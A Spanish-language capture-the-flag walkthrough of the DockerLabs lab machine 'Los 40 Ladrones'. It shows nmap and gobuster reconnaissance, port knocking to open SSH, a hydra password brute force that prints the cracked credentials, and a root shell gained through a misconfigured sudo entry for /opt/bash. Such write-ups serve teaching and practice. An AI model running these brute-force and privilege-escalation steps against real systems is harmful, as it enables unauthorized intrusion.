Maquina Los 40 Ladrones
- OS: Linux
- Plataforma: DockerLabs
- Nivel: Easy
- Tags: #port-knocking #ssh #brute-force #sudo-abuse
Reconocimiento¶
Comienzo tirando un ping para comprobar la conectividad.
> ping -c 1 172.17.0.2
PING 172.17.0.2 (172.17.0.2) 56(84) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.288 ms
--- 172.17.0.2 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.288/0.288/0.288/0.000 ms
Ahora tiro un escaneo con nmap para ver que puertos tenemos abiertos.
> nmap -p- -sS --open --min-rate 5000 -Pn -n -vvv 172.17.0.2
-------------------------------------------------------------
PORT STATE SERVICE REASON
80/tcp open http syn-ack ttl 64
MAC Address: 72:F4:83:41:09:BF (Unknown)
- Solo el puerto 80 HTTP está abierto.
Sobre el puerto abierto realizo un segundo escaneo más profundo para detectar servicios y versiones.
> nmap -p 80 -sCV --min-rate 5000 -Pn -n -vvv 172.17.0.2 -oN target.txt
---------------------------------------------------------------------------
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack ttl 64 Apache httpd 2.4.58 ((Ubuntu))
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
MAC Address: 72:F4:83:41:09:BF (Unknown)
- Puerto 80 HTTP Apache httpd 2.4.58 (Ubuntu)
Enumeración¶
Puerto 80 HTTP¶
La página principal muestra la página por defecto de Apache2.
Fuzzing de Directorios.
Utilizo gobuster para descubrir recursos ocultos.
> gobuster dir -w directory-list-2.3-medium.txt -u http://172.17.0.2/ -x html,php,py,txt,phar,js
-------------------------------------------------------------------------------------------------
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.html (Status: 403) [Size: 275]
/.phar (Status: 403) [Size: 275]
/index.html (Status: 200) [Size: 10792]
/.php (Status: 403) [Size: 275]
/qdefense.txt (Status: 200) [Size: 111]
/.html (Status: 403) [Size: 275]
/.php (Status: 403) [Size: 275]
/.phar (Status: 403) [Size: 275]
/server-status (Status: 403) [Size: 275]
- Encuentro un archivo
qdefense.txt
qdefense.txt
El contenido del archivo contiene un mensaje raro: toctoc 7000 8000 9000.
- Una secuencia de numeros y un posible usuario
toctoc
Sabiendo que nmap solo identificó un puerto abierto (80), esta frase sugiere que podría existir un puerto oculto detrás de Port Knocking. La secuencia 7000 8000 9000 podría ser la "contraseña" para abrir el puerto, y toctoc podría ser un usuario.
Port Knocking¶
Port Knocking es una técnica de seguridad que oculta puertos detrás de una "contraseña" que consiste en una secuencia específica de conexiones a puertos determinados. Solo después de "tocar" los puertos en el orden correcto, el puerto objetivo se abre temporalmente para nuestra IP.
Realizo Port Knocking utilizando la herramienta knock con la secuencia encontrada.
Para verificar si se abrió algún puerto, vuelvo a realizar un escaneo con nmap.
> nmap -p- -sCV --min-rate 5000 -Pn -n -vvv 172.17.0.2 -oN target.txt
----------------------------------------------------------------------
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 64 OpenSSH 9.6p1 Ubuntu 3ubuntu13.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 dc:ef:4e:ec:c9:3e:3d:68:dd:f5:1f:23:21:a3:98:83 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBPS7n1A1eIxBuRhMdsVQA1jRG8wdysmEZiaohqGafMbS+pLcfCIIx72ZM52ZQk2IICu9yUlJ36aWcwUEJLZOcVI=
| 256 3e:c1:74:c1:44:af:6f:d0:90:15:4c:95:46:0a:ea:22 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOu2/XQXey3Lb+jyGxtHholEH5Znu26WzWLDN/K6zL2Q
80/tcp open http syn-ack ttl 64 Apache httpd 2.4.58 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
MAC Address: 72:F4:83:41:09:BF (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
- El puerto 22 SSH ahora está abierto.
Explotación¶
Brute Force SSH¶
Con el puerto SSH abierto y el posible usuario toctoc identificado, realizo un ataque de fuerza bruta con hydra.
> hydra -l toctoc -P /usr/share/wordlists/rockyou.txt ssh://172.17.0.2 -t 20
----------------------------------------------------------------------------
[22][ssh] host: 172.17.0.2 login: toctoc password: kittycat
- Credenciales encontradas:
toctoc:kittycat
Me conecto por SSH con las credenciales encontradas.
> ssh toctoc@172.17.0.2
toctoc@172.17.0.2's password: kittycat
Welcome to Ubuntu 24.04.1 LTS (GNU/Linux 6.12.32-amd64 x86_64)
toctoc@c561ed7e00d4:~$ whoami
toctoc
toctoc@c561ed7e00d4:~$ id
uid=1000(toctoc) gid=1000(toctoc) groups=1000(toctoc)
Escalada de Privilegios¶
Enumero binarios que pueda ejecutar con privilegios elevados.
> sudo -l
---------------------------------------------------------------------------------------------------
toctoc@c561ed7e00d4:~$ sudo -l
User toctoc may run the following commands on c561ed7e00d4:
(ALL : NOPASSWD) /opt/bash
(ALL : NOPASSWD) /ahora/noesta/function
- Puedo ejecutar
/opt/bashcomo root sin contraseña.
Ejecuto el binario bash como root para spawnear una shell.
> toctoc@c561ed7e00d4:~$ sudo /opt/bash
root@c561ed7e00d4:/home/toctoc# whoami
root
root@c561ed7e00d4:/home/toctoc# id
uid=0(root) gid=0(root) groups=0(root)
PWNED




